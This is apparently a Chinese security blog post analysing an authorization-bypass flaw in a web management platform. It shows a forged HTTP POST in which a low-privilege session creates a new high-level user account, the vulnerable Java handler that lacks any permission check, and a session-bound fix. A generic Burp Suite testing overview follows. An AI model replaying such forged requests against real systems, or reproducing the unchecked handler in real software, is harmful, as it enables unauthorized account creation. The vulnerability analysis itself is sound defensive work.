越权操作分析

打开网页客户端设置代理。用户test1为普通用户,无管理人员权限,下图为平台人机代理工具截图,test1正常情况下查看agent装置的信息,服务器为test1用户分配标识JSESSIONID= DD626CDAE3EFD226E4F136BCD47881FE,系统对用户登陆状态进行了校验,如果修改JSESSIONID系统会强制用户退出到登陆界面。如果普通用户猜到了管理员的请求路径和数据信息,发送越权请求数据—越权新增用户。尝试使用没有管理权限的test1用户,新建testallow账户。通过代理工具编写数据如下并发送:

POSThttps://192.168.1.130:8443/dsmp/globalUser/saveGlobalUser.do HTTP/1.1
Host: 192.168.1.130:8443
Connection: keep-alive
Content-Length: 77
Accept: text/html, */*; q=0.01
Origin: https://192.168.1.130:8443
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) dsmp_electron_1.0/1.0.0Chrome/59.0.3071.115 Electron/1.8.1 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Referer:https://192.168.1.130:8443/dsmp/globalUser/toUserIndex.do
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN
Cookie: JSESSIONID=DD626CDAE3EFD226E4F136BCD47881FE
id=&oldUserLevel=&username=testallow&usercount=testallow&pwd=admin123&userLevel=3

使用平台人机代理工具重新发送请求,从下图可以看到,平台服务器返回新增成功。



使用具备人员管理权限的用户登陆平台人机客户端查看用户列表,发现testallow用户被非法添加。


分析系统代码发现对应请求处理的代码。在实际业务中并未显示用户权限,也就用户只要拥有合法的session和正确的post数据,系统就会去执行相应操作,系统不限制用户权限。

 @RequestMapping({"saveGlobalUser"})
  public void saveGlobalUser(HttpServletRequest request, HttpServletResponse response, TGlobalUser user)
    throws IOException
  {
    String msg = "";
    try
    {
      user.setPwd(MD5Util.getEncryption(user.getPwd()));
      user.setValidDate(getValidDate());
      this.globalUserService.saveGlobalUser(user);
      msg = "新增成功";
    }
    catch (Exception e)
    {
      msg = "新增失败";
      e.printStackTrace();
    }
    response.setCharacterEncoding("UTF-8");
    response.getWriter().write(msg);}

项目通过对HttpSessionListener的sessionDestroyed的override实现对用户是否登陆进行判断

  public void sessionDestroyed(HttpSessionEvent se)
  {
    HttpSession hs = se.getSession();
    if (hs.getAttribute("usercount") != null)
    {
      System.out.println("监听Session失败");
      HttpSession session = se.getSession();
      WebApplicationContext ac = WebApplicationContextUtils.getRequiredWebApplicationContext(session.getServletContext());
      AccountController account = (AccountController)ac.getBean(AccountController.class);
      account.exitLogin(hs.getAttribute("usercount"));
    }
  }

可以参照另外一个项目的代码,另外一个项目中,从session中获取userinfo并获取uid,并将其作为查询条件之一放入数据操作中,可以防止越权操作。

 public void execute(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException
  {
HttpSession session = request.getSession();
//获取用户session
    request.setAttribute("i_nav_act", Integer.valueOf(2));
Map userInfo = (Map)session.getAttribute("userInfo");
//根据用户session查出用户信息userinfo
    String uid = "";
    if (userInfo != null) {
      uid = userInfo.get("uid");
//在userinfo中提取用户信息中的uid
    }
    request.setAttribute("title", "资源浏览");
    String id = request.getParameter("id");
    String doc_id = "";
    Map doc = null;
    if ((id != null) && (!"".equals(id)))
    {
      doc_id = id.trim();
      Map docPram = new HashMap();
      String ip = CommonUtils.getIpAddr(request);
      docPram.put("doc_id", doc_id);
      docPram.put("ip", ip);
      docPram.put("uid", uid);
//将用户信息的uid作为查询条件之一,所以如果用户没有对应权限,是不能够查询到对应的信息
      docPram.put("u_id", uid);
      doc = docShareService.getDocAllInfo(docPram);
}


  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
您好!对于Burp Suite测试越权问题,我可以为您提供一些基本信息和建议。 越权漏洞是一种常见的安全漏洞,它会使攻击者能够执行未经授权的操作或访问敏感信息。在使用Burp Suite进行越权测试时,您可以采取以下步骤: 1. 了解应用程序的授权机制:在测试之前,您需要对目标应用程序的身份验证和授权机制有所了解。这包括了解用户角色、权限验证流程以及任何可能存在的安全漏洞。 2. 识别越权点:通过使用Burp Suite进行主动和被动扫描,可以帮助您识别潜在的越权点。主动扫描可以模拟攻击并发现可能存在的问题,而被动扫描则可以检测到应用程序中的隐含问题。 3. 模拟攻击:使用Burp Suite的各种功能模块和插件,例如Intruder、Repeater和Sequencer等,来模拟攻击并测试越权漏洞。 4. 分析和验证:一旦发现潜在的越权漏洞,您可以使用Burp Suite的分析和验证工具来确认漏洞的存在以及其可能的危害程度。 5. 报告和修复:最后,将您的发现整理成一份详细的报告,并将其交给相关的开发人员或安全团队。他们可以根据您的报告来修复越权漏洞,并采取适当的预防措施。 需要注意的是,越权测试应该在合法的环境中进行,并获得相关授权来测试目标应用程序。同时,遵循良好的道德规范,并确保您不会对目标系统造成任何实质性的损害或违法行为。 希望这些信息对您有所帮助!如果您有任何其他问题,请随时提问。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值